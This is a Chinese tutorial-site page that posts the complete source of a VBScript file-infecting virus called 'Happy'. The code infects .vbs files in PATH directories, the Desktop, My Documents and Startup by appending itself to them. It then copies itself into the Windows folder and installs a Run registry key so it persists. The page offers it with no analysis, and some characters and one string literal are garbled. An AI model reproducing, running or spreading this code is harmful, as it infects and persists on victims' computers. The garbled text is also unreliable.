教程(视频,书籍)下载:  ASP.NET AutoCAD 数据库 C# ASP java photoshop 网页设计 delphi 3dmax Flash C++ VB 张孝祥 实例   更多请进入BIBIDU搜索

一个用VBS编写的病毒[Happy]
Happy Virus Code

注释：?

On Error Resume Next

Dim IV6, U187, IV7, IV1, IV2, IV3, IV4

Dim T111

Dim IV5(200)

Dim XR

Set WSHShell = Wscript.CreateObject("Wscript.Shell")

Set WshSysEnv = WSHShell.Environment("Process")

IV10 = WshSysEnv("Path")

IV7 = WSHShell.ExpandEnvironmentStrings("%windir%\avm.vbs")

IV1 = Wscript.ScriptFullName

Set IV6 = CreateObject("Scripting.FileSystemObject")

XR = 1

T11 = Wscript.ScriptFullName

For x = Len(IV10) To 1 Step -1

IV4 = Mid(IV10, x, 1)

If IV4 <> ";" Then

IV5(XR) = IV4 + IV5(XR)

ElseIf IV4 = ";" Then

IV5(XR) = IV5(XR) + "\"

XR = XR + 1

End If

Next

IV5(XR) = IV5(XR) + "\"

IV5(XR + 1) = WSHShell.SpecialFolders("Desktop") + "\"

IV5(XR + 2) = WSHShell.SpecialFolders("MyDocuments") + "\"

IV5(XR + 3) = WSHShell.SpecialFolders("Startup") + "\"

IV5(XR + 4) = Left(T11, InStrRev(T11, "\"))

Set TS = IV6.OpenTextFile(T11, 1)

IV9 = TS.ReadAll

TS.Close

IV8 = Chr(167)

endIV8 = "注释：" & IV8

For x = Len(IV9) To 1 Step -1

If Mid(IV9, x, 1) = IV8 Then

x = 1

IV3 = endIV8 + IV3

ElseIf Mid(IV9, x, 1) <> IV8 Then

IV3 = Mid(IV9, x, 1) + IV3

End If

Next

For y = 1 To (XR + 4)

For Each Target In IV6.GetFolder(IV5(y)).Files

If UCase(Right(Target.Name, 3)) = "VBS" Then

IV11 = ""

Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 1)

IV11 = TS.ReadAll

TS.Close

If mid(IV11,(len(IV11)-2),1) <> "? Then

Set TS = IV6.OpenTextFile(IV5(y) & Target.Name, 8)

TS.Write IV3

TS.Close

End If

End If

Next

Next

FIV11 (IV7)

If T111 = False Then

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVM", IV7

Set U187 = IV6.OpenTextFile(IV7, 2, True)

U187.Write IV3

U187.Close

End If

Function FIV11(filespec)

Set IV6 = CreateObject("Scripting.FileSystemObject")

If (IV6.FileExists(filespec)) Then

T111 = True

Else

T111 = False

End If

End Function

注释： ...by ALT-F4 and ALT-F11 for the Alternative Virus Mafia

注释：?